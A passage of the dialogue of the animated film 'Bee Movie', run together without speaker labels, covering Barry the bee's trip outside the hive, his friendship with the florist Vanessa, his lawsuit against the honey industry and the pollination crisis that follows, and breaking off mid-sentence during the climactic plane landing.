reason you think. Any chance of getting the Krelman? Sure, you're on. I'm sorry, the Krelman just closed out. Wax monkey's always open. The Krelman opened up again. What happened? A bee died. Makes an opening. See? He's dead. Another dead one. Deady. Deadified. Two more dead. Dead from the neck up. Dead from the neck down. That's life! Oh, this is so hard! Heating, cooling, stunt bee, pourer, stirrer, humming, inspector number seven, lint coordinator, stripe supervisor, mite wrangler. Barry, what do you think I should... Barry? Barry! All right, we've got the sunflower patch in quadrant nine... What happened to you? Where are you? I'm going out. Out? Out where? Out there. Oh, no! I have to, before I go to work for the rest of my life. You're gonna die! You're crazy! Hello? Another call coming in. If anyone's feeling brave, there's a Korean deli on 83rd that gets their roses today. Hey, guys. Look at that. Isn't that the kid we saw yesterday? Hold it, son, flight deck's restricted. It's OK, Lou. We're gonna take him up. Really? Feeling lucky, are you? Sign here, here. Just initial that. Thank you. OK. You got a rain advisory today, and as you all know, bees cannot fly in rain. So be careful. As always, watch your brooms, hockey sticks, dogs, birds, bears and bats. Also, I got a couple of reports of root beer being poured on us. Murphy's in a home because of it, babbling like a cicada! That's awful. And a reminder for you rookies, bee law number one, absolutely no talking to humans! All right, launch positions! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Black and yellow! Hello! You ready for this, hot shot? Yeah. Yeah, bring it on. Wind, check. Antennae, check. Nectar pack, check. Wings, check. Stinger, check. Scared out of my shorts, check. OK, ladies, let's move it out! Pound those petunias, you striped stem-suckers! All of you, drain those flowers! Wow! I'm out! I can't believe I'm out! So blue. I feel so fast and free! Box kite! Wow! Flowers! This is Blue Leader, We have roses visual. Bring it around 30 degrees and hold. Roses! 30 degrees, roger. Bringing it around. Stand to the side, kid. It's got a bit of a kick. That is one nectar collector! Ever see pollination up close? No, sir. I pick up some pollen here, sprinkle it over here. Maybe a dash over there, a pinch on that one. See that? It's a little bit of magic. That's amazing. Why do we do that? That's pollen power. More pollen, more flowers, more nectar, more honey for us. Cool. I'm picking up a lot of bright yellow, Could be daisies, Don't we need those? Copy that visual. Wait. One of these flowers seems to be on the move. Say again? You're reporting a moving flower? Affirmative. That was on the line! This is the coolest. What is it? I don't know, but I'm loving this color. It smells good. Not like a flower, but I like it. Yeah, fuzzy. Chemical-y. Careful, guys. It's a little grabby. My sweet lord of bees! Candy-brain, get off there! Problem! Guys! This could be bad. Affirmative. Very close. Gonna hurt. Mama's little boy. You are way out of position, rookie! Coming in at you like a missile! Help me! I don't think these are flowers. Should we tell him? I think he knows. What is this?! Match point! You can start packing up, honey, because you're about to eat it! Yowser! Gross. There's a bee in the car! Do something! I'm driving! Hi, bee. He's back here! He's going to sting me! Nobody move. If you don't move, he won't sting you. Freeze! He blinked! Spray him, Granny! What are you doing?! Wow... the tension level out here is unbelievable. I gotta get home. Can't fly in rain. Can't fly in rain. Can't fly in rain. Mayday! Mayday! Bee going down! Ken, could you close the window please? Ken, could you close the window please? Check out my new resume. I made it into a fold-out brochure. You see? Folds out. Oh, no. More humans. I don't need this. What was that? Maybe this time. This time. This time. This time! This time! This... Drapes! That is diabolical. It's fantastic. It's got all my special skills, even my top-ten favorite movies. What's number one? Star Wars? Nah, I don't go for that... kind of stuff. No wonder we shouldn't talk to them. They're out of their minds. When I leave a job interview, they're flabbergasted, can't believe what I say. There's the sun. Maybe that's a way out. I don't remember the sun having a big 75 on it. I predicted global warming. I could feel it getting hotter. At first I thought it was just me. Wait! Stop! Bee! Stand back. These are winter boots. Wait! Don't kill him! You know I'm allergic to them! This thing could kill me! Why does his life have less value than yours? Why does his life have any less value than mine? Is that your statement? I'm just saying all life has value. You don't know what he's capable of feeling. My brochure! There you go, little guy. I'm not scared of him.It's an allergic thing. Put that on your resume brochure. My whole face could puff up. Make it one of your special skills. Knocking someone out is also a special skill. Right. Bye, Vanessa. Thanks. Vanessa, next week? Yogurt night? Sure, Ken. You know, whatever. You could put carob chips on there. Bye. Supposed to be less calories. Bye. I gotta say something. She saved my life. I gotta say something. All right, here it goes. Nah. What would I say? I could really get in trouble. It's a bee law. You're not supposed to talk to a human. I can't believe I'm doing this. I've got to. Oh, I can't do it. Come on! No. Yes. No. Do it. I can't. How should I start it? "You like jazz?" No, that's no good. Here she comes! Speak, you fool! Hi! I'm sorry. You're talking. Yes, I know. You're talking! I'm so sorry. No, it's OK. It's fine. I know I'm dreaming. But I don't recall going to bed. Well, I'm sure this is very disconcerting. This is a bit of a surprise to me. I mean, you're a bee! I am. And I'm not supposed to be doing this, but they were all trying to kill me. And if it wasn't for you... I had to thank you. It's just how I was raised. That was a little weird. I'm talking with a bee. Yeah. I'm talking to a bee. And the bee is talking to me! I just want to say I'm grateful. I'll leave now. Wait! How did you learn to do that? What? The talking thing. Same way you did, I guess. "Mama, Dada, honey." You pick it up. That's very funny. Yeah. Bees are funny. If we didn't laugh, we'd cry with what we have to deal with. Anyway... Can I... get you something? Like what? I don't know. I mean... I don't know. Coffee? I don't want to put you out. It's no trouble. It takes two minutes. It's just coffee. I hate to impose. Don't be ridiculous! Actually, I would love a cup. Hey, you want rum cake? I shouldn't. Have some. No, I can't. Come on! I'm trying to lose a couple micrograms. Where? These stripes don't help. You look great! I don't know if you know anything about fashion. Are you all right? No. He's making the tie in the cab as they're flying up Madison. He finally gets there. He runs up the steps into the church. The wedding is on. And he says, "Watermelon? I thought you said Guatemalan. Why would I marry a watermelon?" Is that a bee joke? That's the kind of stuff we do. Yeah, different. So, what are you gonna do, Barry? About work? I don't know. I want to do my part for The Hive, but I can't do it the way they want. I know how you feel. You do? Sure. My parents wanted me to be a lawyer or a doctor, but I wanted to be a florist. Really? My only interest is flowers. Our new queen was just elected with that same campaign slogan. Anyway, if you look... There's my hive right there. See it? You're in Sheep Meadow! Yes! I'm right off the Turtle Pond! No way! I know that area. I lost a toe ring there once. Why do girls put rings on their toes? Why not? It's like putting a hat on your knee. Maybe I'll try that. You all right, ma'am? Oh, yeah. Fine. Just having two cups of coffee! Anyway, this has been great. Thanks for the coffee. Yeah, it's no trouble. Sorry I couldn't finish it. If I did, I'd be up the rest of my life. Are you...? Can I take a piece of this with me? Sure! Here, have a crumb. Thanks! Yeah. All right. Well, then... I guess I'll see you around. Or not. OK, Barry. And thank you so much again... for before. Oh, that? That was nothing. Well, not nothing, but... Anyway... This can't possibly work. He's all set to go. We may as well try it. OK, Dave, pull the chute. Sounds amazing. It was amazing! It was the scariest, happiest moment of my life. Humans! I can't believe you were with humans! Giant, scary humans! What were they like? Huge and crazy. They talk crazy. They eat crazy giant things. They drive crazy. Do they try and kill you, like on TV? Some of them. But some of them don't. How'd you get back? Poodle. You did it, and I'm glad. You saw whatever you wanted to see. You had your "experience." Now you can pick out yourjob and be normal. Well... Well? Well, I met someone. You did? Was she Bee-ish? A wasp?! Your parents will kill you! No, no, no, not a wasp. Spider? I'm not attracted to spiders. I know it's the hottest thing, with the eight legs and all. I can't get by that face. So who is she? She's... human. No, no. That's a bee law. You wouldn't break a bee law. Her name's Vanessa. Oh, boy. She's so nice. And she's a florist! Oh, no! You're dating a human florist! We're not dating. You're flying outside The Hive, talking to humans that attack our homes with power washers and M-80s! One-eighth a stick of dynamite! She saved my life! And she understands me. This is over! Eat this. This is not over! What was that? They call it a crumb. It was so stingin' stripey! And that's not what they eat. That's what falls off what they eat! You know what a Cinnabon is? No. It's bread and cinnamon and frosting. They heat it up... Sit down! ...really hot! Listen to me! We are not them! We're us. There's us and there's them! Yes, but who can deny the heart that is yearning? There's no yearning. Stop yearning. Listen to me! You have got to start thinking bee, my friend. Thinking bee! Thinking bee. Thinking bee. Thinking bee! Thinking bee! Thinking bee! Thinking bee! There he is. He's in the pool. You know what your problem is, Barry? I gotta start thinking bee? How much longer will this go on? It's been three days! Why aren't you working? I've got a lot of big life decisions to think about. What life? You have no life! You have no job. You're barely a bee! Would it kill you to make a little honey? Barry, come out. Your father's talking to you. Martin, would you talk to him? Barry, I'm talking to you! You coming? Got everything? All set! Go ahead. I'll catch up. Don't be too long. Watch this! Vanessa! We're still here. I told you not to yell at him. He doesn't respond to yelling! Then why yell at me? Because you don't listen! I'm not listening to this. Sorry, I've gotta go. Where are you going? I'm meeting a friend. A girl? Is this why you can't decide? Bye. I just hope she's Bee-ish. They have a huge parade of flowers every year in Pasadena? To be in the Tournament of Roses, that's every florist's dream! Up on a float, surrounded by flowers, crowds cheering. A tournament. Do the roses compete in athletic events? No. All right, I've got one. How come you don't fly everywhere? It's exhausting. Why don't you run everywhere? It's faster. Yeah, OK, I see, I see. All right, your turn. TiVo. You can just freeze live TV? That's insane! You don't have that? We have Hivo, but it's a disease. It's a horrible, horrible disease. Oh, my. Dumb bees! You must want to sting all those jerks. We try not to sting. It's usually fatal for us. So you have to watch your temper. Very carefully. You kick a wall, take a walk, write an angry letter and throw it out. Work through it like any emotion: Anger, jealousy, lust. Oh, my goodness! Are you OK? Yeah. What is wrong with you?! It's a bug. He's not bothering anybody. Get out of here, you creep! What was that? A Pic 'N' Save circular? Yeah, it was. How did you know? It felt like about 10 pages. Seventy-five is pretty much our limit. You've really got that down to a science. I lost a cousin to Italian Vogue. I'll bet. What in the name of Mighty Hercules is this? How did this get here? cute Bee, Golden Blossom, Ray Liotta Private Select? Is he that actor? I never heard of him. Why is this here? For people. We eat it. You don't have enough food of your own? Well, yes. How do you get it? Bees make it. I know who makes it! And it's hard to make it! There's heating, cooling, stirring. You need a whole Krelman thing! It's organic. It's our-ganic! It's just honey, Barry. Just what?! Bees don't know about this! This is stealing! A lot of stealing! You've taken our homes, schools,hospitals! This is all we have! And it's on sale?! I'm getting to the bottom of this. I'm getting to the bottom of all of this! Hey, Hector. You almost done? Almost. He is here. I sense it. Well, I guess I'll go home now and just leave this nice honey out, with no one around. You're busted, box boy! I knew I heard something. So you can talk! I can talk. And now you'll start talking! Where you getting the sweet stuff? Who's your supplier? I don't understand. I thought we were friends. The last thing we want to do is upset bees! You're too late! It's ours now! You, sir, have crossed the wrong sword! You, sir, will be lunch for my iguana, Ignacio! Where is the honey coming from? Tell me where! Honey Farms! It comes from Honey Farms! Crazy person! What horrible thing has happened here? These faces, they never knew what hit them. And now they're on the road to nowhere! Just keep still. What? You're not dead? Do I look dead? They will wipe anything that moves. Where you headed? To Honey Farms. I am onto something huge here. I'm going to Alaska. Moose blood, crazy stuff. Blows your head off! I'm going to Tacoma. And you? He really is dead. All right. Uh-oh! What is that?! Oh, no! A wiper! Triple blade! Triple blade? Jump on! It's your only chance, bee! Why does everything have to be so doggone clean?! How much do you people need to see?! Open your eyes! Stick your head out the window! From NPR News in Washington, I'm Carl Kasell. But don't kill no more bugs! Bee! Moose blood guy!! You hear something? Like what? Like tiny screaming. Turn off the radio. Whassup, bee boy? Hey, Blood. Just a row of honey jars, as far as the eye could see. Wow! I assume wherever this truck goes is where they're getting it. I mean, that honey's ours. Bees hang tight. We're all jammed in. It's a close community. Not us, man. We on our own. Every mosquito on his own. What if you get in trouble? You a mosquito, you in trouble. Nobody likes us. They just smack. See a mosquito, smack, smack! At least you're out in the world. You must meet girls. Mosquito girls try to trade up, get with a moth, dragonfly. Mosquito girl don't want no mosquito. You got to be kidding me! Mooseblood's about to leave the building! So long, bee! Hey, guys! Mooseblood! I knew I'd catch y'all down here. Did you bring your crazy straw? We throw it in jars, slap a label on it, and it's pretty much pure profit. What is this place? A bee's got a brain the size of a pinhead. They are pinheads! Pinhead. Check out the new smoker. Oh, sweet. That's the one you want. The Thomas 3000! Smoker? Ninety puffs a minute, semi-automatic. Twice the nicotine, all the tar. A couple breaths of this knocks them right out. They make the honey, and we make the money. "They make the honey, and we make the money"? Oh, my! What's going on? Are you OK? Yeah. It doesn't last too long. Do you know you're in a fake hive with fake walls? Our queen was moved here. We had no choice. This is your queen? That's a man in women's clothes! That's a drag queen! What is this? Oh, no! There's hundreds of them! Bee honey. Our honey is being brazenly stolen on a massive scale! This is worse than anything bears have done! I intend to do something. Oh, Barry, stop. Who told you humans are taking our honey? That's a rumor. Do these look like rumors? That's a conspiracy theory. These are obviously doctored photos. How did you get mixed up in this? He's been talking to humans. What? Talking to humans?! He has a human girlfriend. And they make out! Make out? Barry! We do not. You wish you could. Whose side are you on? The bees! I dated a cricket once in San Antonio. Those crazy legs kept me up all night. Barry, this is what you want to do with your life? I want to do it for all our lives. Nobody works harder than bees! Dad, I remember you coming home so overworked your hands were still stirring. You couldn't stop. I remember that. What right do they have to our honey? We live on two cups a year. They put it in lip balm for no reason whatsoever! Even if it's true, what can one bee do? Sting them where it really hurts. In the face! The eye! That would hurt. No. Up the nose? That's a killer. There's only one place you can sting the humans, one place where it matters. Hive at Five, The Hive's only full-hour action news source. No more bee beards! With Bob Bumble at the anchor desk. Weather with Storm Stinger. Sports with Buzz Larvi. And Jeanette Chung. Good evening. I'm Bob Bumble. And I'm Jeanette Ohung. A tri-county bee, Barry Benson, intends to sue the human race for stealing our honey, packaging it and profiting from it illegally! Tomorrow night on Bee Larry King, we'll have three former queens here in our studio, discussing their new book, classy Ladies, out this week on Hexagon. Tonight we're talking to Barry Benson. Did you ever think, "I'm a kid from The Hive. I can't do this"? Bees have never been afraid to change the world. What about Bee Oolumbus? Bee Gandhi? Bejesus? Where I'm from, we'd never sue humans. We were thinking of stickball or candy stores. How old are you? The bee community is supporting you in this case, which will be the trial of the bee century. You know, they have a Larry King in the human world too. It's a common name. Next week... He looks like you and has a show and suspenders and colored dots... Next week... Glasses, quotes on the bottom from the guest even though you just heard 'em. Bear Week next week! They're scary, hairy and here live. Always leans forward, pointy shoulders, squinty eyes, very Jewish. In tennis, you attack at the point of weakness! It was my grandmother, Ken. She's 81. Honey, her backhand's a joke! I'm not gonna take advantage of that? Quiet, please. Actual work going on here. Is that that same bee? Yes, it is! I'm helping him sue the human race. Hello. Hello, bee. This is Ken. Yeah, I remember you. Timberland, size ten and a half. Vibram sole, I believe. Why does he talk again? Listen, you better go 'cause we're really busy working. But it's our yogurt night! Bye-bye. Why is yogurt night so difficult?! You poor thing. You two have been at this for hours! Yes, and Adam here has been a huge help. Frosting... How many sugars? Just one. I try not to use the competition. So why are you helping me? Bees have good qualities. And it takes my mind off the shop. Instead of flowers, people are giving balloon bouquets now. Those are great, if you're three. And artificial flowers. Oh, those just get me psychotic! Yeah, me too. Bent stingers, pointless pollination. Bees must hate those fake things! Nothing worse than a daffodil that's had work done. Maybe this could make up for it a little bit. This lawsuit's a pretty big deal. I guess. You sure you want to go through with it? Am I sure? When I'm done with the humans, they won't be able to say, "Honey, I'm home," without paying a royalty! It's an incredible scene here in downtown Manhattan, where the world anxiously waits, because for the first time in history, we will hear for ourselves if a honeybee can actually speak. What have we gotten into here, Barry? It's pretty big, isn't it? I can't believe how many humans don't work during the day. You think billion-dollar multinational food companies have good lawyers? Everybody needs to stay behind the barricade. What's the matter? I don't know, I just got a chill. Well, if it isn't the bee team. You boys work on this? All rise! The Honorable Judge Bumbleton presiding. All right. Case number 4475, Superior Court of New York, Barry Bee Benson v. the Honey Industry is now in session. Mr. Montgomery, you're representing the five food companies collectively? A privilege. Mr. Benson... you're representing all the bees of the world? I'm kidding. Yes, Your Honor, we're ready to proceed. Mr. Montgomery, your opening statement, please. Ladies and gentlemen of the jury, my grandmother was a simple woman. Born on a farm, she believed it was man's divine right to benefit from the bounty of nature God put before us. If we lived in the topsy-turvy world Mr. Benson imagines, just think of what would it mean. I would have to negotiate with the silkworm for the elastic in my britches! Talking bee! How do we know this isn't some sort of holographic motion-picture-capture Hollywood wizardry? They could be using laser beams! Robotics! Ventriloquism! Cloning! For all we know, he could be on steroids! Mr. Benson? Ladies and gentlemen, there's no trickery here. I'm just an ordinary bee. Honey's pretty important to me. It's important to all bees. We invented it! We make it. And we protect it with our lives. Unfortunately, there are some people in this room who think they can take it from us 'cause we're the little guys! I'm hoping that, after this is all over, you'll see how, by taking our honey, you not only take everything we have but everything we are! I wish he'd dress like that all the time. So nice! Call your first witness. So, Mr. Klauss Vanderhayden of Honey Farms, big company you have. I suppose so. I see you also own Honeyburton and Honron! Yes, they provide beekeepers for our farms. Beekeeper. I find that to be a very disturbing term. I don't imagine you employ any bee-free-ers, do you? No. I couldn't hear you. No. No. Because you don't free bees. You keep bees. Not only that, it seems you thought a bear would be an appropriate image for a jar of honey. They're very lovable creatures. Yogi Bear, Fozzie Bear, Build-A-Bear. You mean like this? Bears kill bees! How'd you like his head crashing through your living room?! Biting into your couch! Spitting out your throw pillows! OK, that's enough. Take him away. So, Mr. Sting, thank you for being here. Your name intrigues me. Where have I heard it before? I was with a band called The Police. But you've never been a police officer, have you? No, I haven't. No, you haven't. And so here we have yet another example of bee culture casually stolen by a human for nothing more than a prance-about stage name. Oh, please. Have you ever been stung, Mr. Sting? Because I'm feeling a little stung, Sting. Or should I say... Mr. Gordon M. Sumner! That's not his real name?! You idiots! Mr. Liotta, first, belated congratulations on your Emmy win for a guest spot on ER in 2005. Thank you. Thank you. I see from your resume that you're devilishly handsome with a churning inner turmoil that's ready to blow. I enjoy what I do. Is that a crime? Not yet it isn't. But is this what it's come to for you? Exploiting tiny, helpless bees so you don't have to rehearse your part and learn your lines, sir? Watch it, Benson! I could blow right now! This isn't a goodfella. This is a badfella! Why doesn't someone just step on this creep, and we can all go home?! Order in this court! You're all thinking it! Order! Order, I say! Say it! Mr. Liotta, please sit down! I think it was awfully nice of that bear to pitch in like that. I think the jury's on our side. Are we doing everything right, legally? I'm a florist. Right. Well, here's to a great team. To a great team! Well, hello. Ken! Hello. I didn't think you were coming. No, I was just late I tried to call, but... the battery. I didn't want all this to go to waste, so I called Barry. Luckily, he was free. Oh, that was lucky. There's a little left. I could heat it up. Yeah, heat it up, sure, whatever. So I hear you're quite a tennis player. I'm not much for the game myself. The ball's a little grabby. That's where I usually sit. Right... there. Ken, Barry was looking at your resume, and he agreed with me that eating with chopsticks isn't really a special skill. You think I don't see what you're doing? I know how hard it is to find the right job. We have that in common. Do we? Bees have 100 percent employment, but we do jobs like taking the crud out. That's just what I was thinking about doing. Ken, I let Barry borrow your razor for his fuzz. I hope that was all right. I'm going to drain the old stinger. Yeah, you do that. Look at that. You know, I've just about had it with your little Mind Games. What's that? Italian Vogue. Mamma mia, that's a lot of pages. A lot of ads. Remember what Van said, why is your life more valuable than mine? Funny, I just can't seem to recall that! I think something stinks in here! I love the smell of flowers. How do you like the smell of flames?! Not as much. Water bug! Not taking sides! Ken, I'm wearing a Chapstick hat! This is pathetic! I've got issues! Well, well, well, a royal flush! You're bluffing. Am I? Surf's up, dude! Poo water! That bowl is gnarly. Except for those dirty yellow rings! Kenneth! What are you doing?! You know, I don't even like honey! I don't eat it! We need to talk! He's just a little bee! And he happens to be the nicest bee I've met in a long time! Long time? What are you talking about?! Are there other bugs in your life? No, but there are other things bugging me in life. And you're one of them! Fine! Talking bees, no yogurt night... My nerves are fried from riding on this emotional roller coaster! Goodbye, Ken. And for your information, I prefer sugar-free, artificial sweeteners made by man! I'm sorry about all that. I know it's got an aftertaste! I like it! I always felt there was some kind of barrier between Ken and me. I couldn't overcome it. Oh, well. Are you OK for the trial? I believe Mr. Montgomery is about out of ideas. We would like to call Mr. Barry Benson Bee to the stand. Good idea! You can really see why he's considered one of the best lawyers... Yeah. Layton, you've gotta weave some magic with this jury, or it's gonna be all over. Don't worry. The only thing I have to do to turn this jury around is to remind them of what they don't like about bees. You got the tweezers? Are you allergic? Only to losing, son. Only to losing. Mr. Benson Bee, I'll ask you what I think we'd all like to know. What exactly is your relationship to that woman? We're friends. Good friends? Yes. How good? Do you live together? Wait a minute... Are you her little... bedbug? I've seen a bee documentary or two. From what I understand, doesn't your queen give birth to all the bee children? Yeah, but... So those aren't your real parents! Oh, Barry... Yes, they are! Hold me back! You're an illegitimate bee, aren't you, Benson? He's denouncing bees! Don't y'all date your cousins? Objection! I'm going to pincushion this guy! Adam, don't! It's what he wants! Oh, I'm hit!! Oh, lordy, I am hit! Order! Order! The venom! The venom is coursing through my veins! I have been felled by a winged beast of destruction! You see? You can't treat them like equals! They're striped savages! Stinging's the only thing they know! It's their way! Adam, stay with me. I can't feel my legs. What Angel of Mercy will come forward to suck the poison from my heaving buttocks? I will have order in this court. Order! Order, please! The case of the honeybees versus the human race took a pointed Turn Against the bees yesterday when one of their legal team stung Layton T. Montgomery. Hey, buddy. Hey. Is there much pain? Yeah. I... I blew the whole case, didn't I? It doesn't matter. What matters is you're alive. You could have died. I'd be better off dead. Look at me. They got it from the cafeteria downstairs, in a tuna sandwich. Look, there's a little celery still on it. What was it like to sting someone? I can't explain it. It was all... All adrenaline and then...and then ecstasy! All right. You think it was all a trap? Of course. I'm sorry. I flew us right into this. What were we thinking? Look at us. We're just a couple of bugs in this world. What will the humans do to us if they win? I don't know. I hear they put the roaches in motels. That doesn't sound so bad. Adam, they check in, but they don't check out! Oh, my. Could you get a nurse to close that window? Why? The smoke. Bees don't smoke. Right. Bees don't smoke. Bees don't smoke! But some bees are smoking. That's it! That's our case! It is? It's not over? Get dressed. I've gotta go somewhere. Get back to the court and stall. Stall any way you can. And assuming you've done step correctly, you're ready for the tub. Mr. Flayman. Yes? Yes, Your Honor! Where is the rest of your team? Well, Your Honor, it's interesting. Bees are trained to fly haphazardly, and as a result, we don't make very good time. I actually heard a funny story about... Your Honor, haven't these ridiculous bugs taken up enough of this court's valuable time? How much longer will we allow these absurd shenanigans to go on? They have presented no compelling evidence to support their charges against my clients, who run legitimate businesses. I move for a complete dismissal of this entire case! Mr. Flayman, I'm afraid I'm going to have to consider Mr. Montgomery's motion. But you can't! We have a terrific case. Where is your proof? Where is the evidence? Show me the smoking gun! Hold it, Your Honor! You want a smoking gun? Here is your smoking gun. What is that? It's a bee smoker! What, this? This harmless little contraption? This couldn't hurt a fly, let alone a bee. Look at what has happened to bees who have never been asked, "Smoking or non?" Is this what nature intended for us? To be forcibly addicted to smoke machines and man-made wooden slat work camps? Living out our lives as honey slaves to the white man? What are we gonna do? He's playing the species card. Ladies and gentlemen, please, free these bees! Free the bees! Free the bees! Free the bees! Free the bees! Free the bees! The court finds in favor of the bees! Vanessa, we won! I knew you could do it! High-five! Sorry. I'm OK! You know what this means? All the honey will finally belong to the bees. Now we won't have to work so hard all the time. This is an unholy perversion of the balance of nature, Benson. You'll regret this. Barry, how much honey is out there? All right. One at a time. Barry, who are you wearing? My sweater is Ralph Lauren, and I have no pants. What if Montgomery's right? What do you mean? We've been living the bee way a long time, 27 million years. Congratulations on your victory. What will you demand as a settlement? First, we'll demand a complete shutdown of all bee work camps. Then we want back the honey that was ours to begin with, every last drop. We demand an end to the glorification of the bear as anything more than a filthy, smelly, bad-breath stink machine. We're all aware of what they do in the woods. Wait for my signal. Take him out. He'll have nauseous for a few hours, then he'll be fine. And we will no longer tolerate bee-negative nicknames... But it's just a prance-about stage name! ...unnecessary inclusion of honey in bogus health products and la-dee-da human tea-time snack garnishments. Can't breathe. Bring it in, boys! Hold it right there! Good. Tap it. Mr. Buzzwell, we just passed three cups and there's gallons more coming! I think we need to shut down! Shut down? We've never shut down. Shut down honey production! Stop making honey! Turn your key, sir! What do we do now? Cannonball! We're shutting honey production! Mission abort. Aborting pollination and nectar detail. Returning to base. Adam, you wouldn't believe how much honey was out there. Oh, yeah? What's going on? Where is everybody? Are they out celebrating? They're home. They don't know what to do. Laying out, sleeping in. I heard your Uncle Carl was on his way to San Antonio with a cricket. At least we got our honey back. Sometimes I think, so what if humans liked our honey? Who wouldn't? It's the greatest thing in the world! I was excited to be part of making it. This was my new desk. This was my new job. I wanted to do it really well. And now... Now I can't. I don't understand why they're not happy. I thought their lives would be better! They're doing nothing. It's amazing. Honey really changes people. You don't have any idea what's going on, do you? What did you want to show me? This. What happened here? That is not the half of it. Oh, no. Oh, my. They're all wilting. Doesn't look very good, does it? No. And whose fault do you think that is? You know, I'm gonna guess bees. Bees? Specifically, me. I didn't think bees not needing to make honey would affect all these things. It's not just flowers. Fruits, vegetables, they all need bees. That's our whole SAT test right there. Take away produce, that affects the entire animal kingdom. And then, of course... The human species? So if there's no more pollination, it could all just go south here, couldn't it? I know this is also partly my fault. How about a suicide pact? How do we do it? I'll sting you, you step on me. That just kills you twice. Right, right. Listen, Barry... sorry, but I gotta get going. I had to open my mouth and talk. Vanessa? Vanessa? Why are you leaving? Where are you going? To the final Tournament of Roses parade in Pasadena. They've moved it to this weekend because all the flowers are dying. It's the Last Chance I'll ever have to see it. Vanessa, I just wanna say I'm sorry. I never meant it to turn out like this. I know. Me neither. Tournament of Roses. Roses can't do sports. Wait a minute. Roses. Roses? Roses! Vanessa! Roses?! Barry? Roses are flowers! Yes, they are. Flowers, bees, pollen! I know. That's why this is the last parade. Maybe not. Could you ask him to slow down? Could you slow down? Barry! OK, I made a huge mistake. This is a total disaster, all my fault. Yes, it kind of is. I've ruined the planet. I wanted to help you with the flower shop. I've made it worse. Actually, it's completely closed down. I thought maybe you were remodeling. But I have another idea, and it's greater than my previous ideas combined. I don't want to hear it! All right, they have the roses, the roses have the pollen. I know every bee, plant and flower bud in this park. All we gotta do is get what they've got back here with what we've got. Bees. Park. Pollen! Flowers. Repollination! Across the nation! Tournament of Roses, Pasadena, California. They've got nothing but flowers, floats and cotton candy. Security will be tight. I have an idea. Vanessa Bloome, FTD. Official floral business. It's real. Sorry, ma'am. Nice brooch. Thank you. It was a gift. Once inside, we just pick the right float. How about The Princess and the Pea? I could be the princess, and you could be the pea! Yes, I got it. Where should I sit? What are you? I believe I'm the pea. The pea? It goes under the mattresses. Not in this fairy tale, sweetheart. I'm getting the marshal. You do that! This whole parade is a fiasco! Let's see what this baby'll do. Hey, what are you doing?! Then all we do is blend in with traffic... without arousing suspicion. Once at the airport, there's no stopping us. Stop! Security. You and your insect pack your float? Yes. Has it been in your possession the entire time? Would you remove your shoes? Remove your stinger. It's part of me. I know. Just having some fun. Enjoy your flight. Then if we're lucky, we'll have just enough pollen to do the job. Can you believe how lucky we are? We have just enough pollen to do the job! I think this is gonna work. It's got to work. Attention, passengers, this is Captain Scott. We have a bit of bad weather in New York. It looks like we'll experience a couple hours delay. Barry, these are cut flowers with no water. They'll never make it. I gotta get up there and talk to them. Be careful. Can I get help with the Sky Mall magazine? I'd like to order the talking inflatable nose and ear hair trimmer. Captain, I'm in a real situation. What'd you say, Hal? Nothing. Bee! Don't freak out! My entire species... What are you doing? Wait a minute! I'm an attorney! Who's an attorney? Don't move. Oh, Barry. Good afternoon, passengers. This is your captain. Would a Miss Vanessa Bloome in 24B please report to the cockpit? And please hurry! What happened here? There was a DustBuster, a toupee, a life raft exploded. One's bald, one's in a boat, they're both unconscious! Is that another bee joke? No! No one's flying the plane! This is JFK control tower, Flight 356. What's your status? This is Vanessa Bloome. I'm a florist from New York. Where's the pilot? He's unconscious, and so is the copilot. Not good. Does anyone onboard have flight experience? As a matter of fact, there is. Who's that? Barry Benson. From the honey trial?! Oh, great. Vanessa, this is nothing more than a big metal bee. It's got giant wings, huge engines. I can't fly a plane. Why not? Isn't John Travolta a pilot? Yes. How hard could it be? Wait, Barry! We're headed into some lightning. This is Bob Bumble. We have some late-breaking news from JFK Airport, where a suspenseful scene is developing. Barry Benson, fresh from his legal victory... That's Barry! ...is attempting to land a plane, loaded with people, flowers and an incapacitated flight crew. Flowers?! We have a storm in the area and two individuals at the controls with absolutely no flight experience. Just a minute. There's a bee on that plane. I'm quite familiar with Mr. Benson and his no-account compadres. They've done enough damage. But isn't he your only hope? Technically, a bee shouldn't be able to fly at all. Their wings are too small... Haven't we heard this a million times? "The surface area of the wings and body mass make no sense." Get this on the air! Got it. Stand by. We're going live. The way we work may be a mystery to you. Making honey takes a lot of bees doing a lot of small jobs. But let me tell you about a small job. If you do it well, it makes a big difference. More than we realized. To us, to everyone. That's why I want to get bees back to working together. That's the bee way! We're not made of Jell-O. We get behind a fellow. Black and yellow! Hello! Left, right, down, hover. Hover? Forget hover. This isn't so hard. Beep-beep! Beep-beep! Barry, what happened?! Wait, I think we were on autopilot the whole time. That may have been helping me. And now we're not! So it turns out I cannot fly a plane. All of you, let's get behind this fellow! Move it out! Move out! Our only chance is if I do what I'd do, you copy me with the wings of the plane! Don't have to yell. I'm not yelling! We're in a lot of trouble. It's very hard to concentrate with that panicky tone in your voice! It's not a tone. I'm panicking! I can't do this! Vanessa, pull yourself together. You have to snap out of it! You snap out of it. You snap out of it. You snap out of it! You snap out of it! You snap out of it! You snap out of it! You snap out of it! You snap out of it! Hold it! Why? Come on, it's my turn. How is the plane flying? I don't know. Hello? Benson, got any flowers for a happy occasion in there? The Pollen Jocks! They do get behind a fellow. Black and yellow. Hello. All right, let's drop this tin can on the blacktop. Where? I can't see anything. Can you? No, nothing. It's all cloudy. Come on. You got to think bee, Barry. Thinking bee. Thinking bee. Thinking bee! Thinking bee! Thinking bee! Wait a minute. I think I'm feeling something. What? I don't know. It's strong, pulling me. Like a 27-million-year-old instinct. Bring the nose down. Thinking bee! Thinking bee! Thinking bee! What in the world is on the tarmac? Get some lights on that! Thinking bee! Thinking bee! Thinking bee! Vanessa, aim for the flower. OK. Cut the engines. We're going in on bee power. Ready, boys? Affirmative! Good. Good. Easy, now. That's it. Land on that flower! Ready? Full reverse! Spin it around! Not that flower! The other one! Which one? That flower. I'm aiming at the flower! That's a fat guy in a flowered shirt. I mean the giant pulsating flower made of millions of bees! Pull forward. Nose down. Tail up. Rotate around it. This is insane, Barry! This's the only way I know how to fly. Am I koo-koo-kachoo, or is this plane flying in an insect-like pattern? Get your nose in there. Don't be afraid. Smell it. Full reverse! Just drop it. Be a part of it. Aim for the center! Now drop it in! Drop it in, woman! Come on, already. Barry, we did it! You taught me how to fly! Yes. No high-five! Right. Barry, it worked! Did you see the giant flower? What giant flower? Where? Of course I saw the flower! That was genius! Thank you. But we're not done yet. Listen, everyone! This runway is 